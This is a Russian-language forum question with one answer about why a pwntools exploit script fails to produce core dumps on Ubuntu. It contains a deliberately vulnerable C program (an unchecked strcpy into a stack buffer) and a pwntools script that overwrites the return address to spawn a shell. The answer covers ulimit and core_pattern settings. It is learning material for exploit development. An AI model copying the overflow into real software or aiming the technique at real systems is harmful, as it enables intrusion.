Я пытаюсь использовать pwntools и следую этому руководству для создания Corefiles для автоматизации эксплуатации.

Код исполняемого файла ./crash :

#include <string.h>
#include <stdlib.h>
#include <unistd.h>
void win() {
    system("sh");
}
int main(int argc, char** argv) {
    char buffer[64];
    strcpy(buffer, argv[1]);
}

После ulimit -c unlimited если я запускаю исполняемый файл (из bash) с достаточно большим вводом, он вылетает и генерирует файлы ядра.

Использование pwntools:

from pwn import *

# Generate a cyclic pattern so that we can auto-find the offset
payload = cyclic(128)

# Run the process once so that it crashes
process(['./crash', payload]).wait()

# Get the core dump
core = Coredump('./core')

# Our cyclic pattern should have been used as the crashing address
assert pack(core.eip) in payload

# Cool! Now let's just replace that value with the address of 'win'
crash = ELF('./crash')
payload = fit({
    cyclic_find(core.eip): crash.symbols.win
})

# Get a shell!
io = process(['./crash', payload])
io.sendline('id')
print io.recvline()
# uid=1000(user) gid=1000(user) groups=1000(user)

Если я запускаю этот скрипт (из bash, как от моего пользователя, так и от пользователя root) с одним и тем же большим вводом, он вылетит, но не сгенерирует файл ядра.

Я также попытался отредактировать /etc/sysctl.conf и установил fs.suid_dumpable = 1

Моя операционная система - Ubuntu 16.04.3 LTS x64 с универсальным ядром 4.4.0-89.

1 ответ1

0

Вы не показали нам, как вы указали ОС обрабатывать дампы ядра.

Максимальный размер настраивается через ulimit -c $MAXSIZEINBLOCKS (обратите внимание, что ulimit имеет мягкие и жесткие значения). $ MAXSIZEINBLOCKS должен быть целым числом или строкой «без ограничений»

Вы также должны указать ОС, куда помещать дампы ядра - это делается через sysctl. например, sysctl -w kernel.core_pattern=/var/crash/core.%p.%u.%e

Может быть полезно знать, что вы можете получить дамп ядра из любого запущенного процесса (если позволяют разрешения) с помощью gcore

Всё ещё ищете ответ? Посмотрите другие вопросы с метками .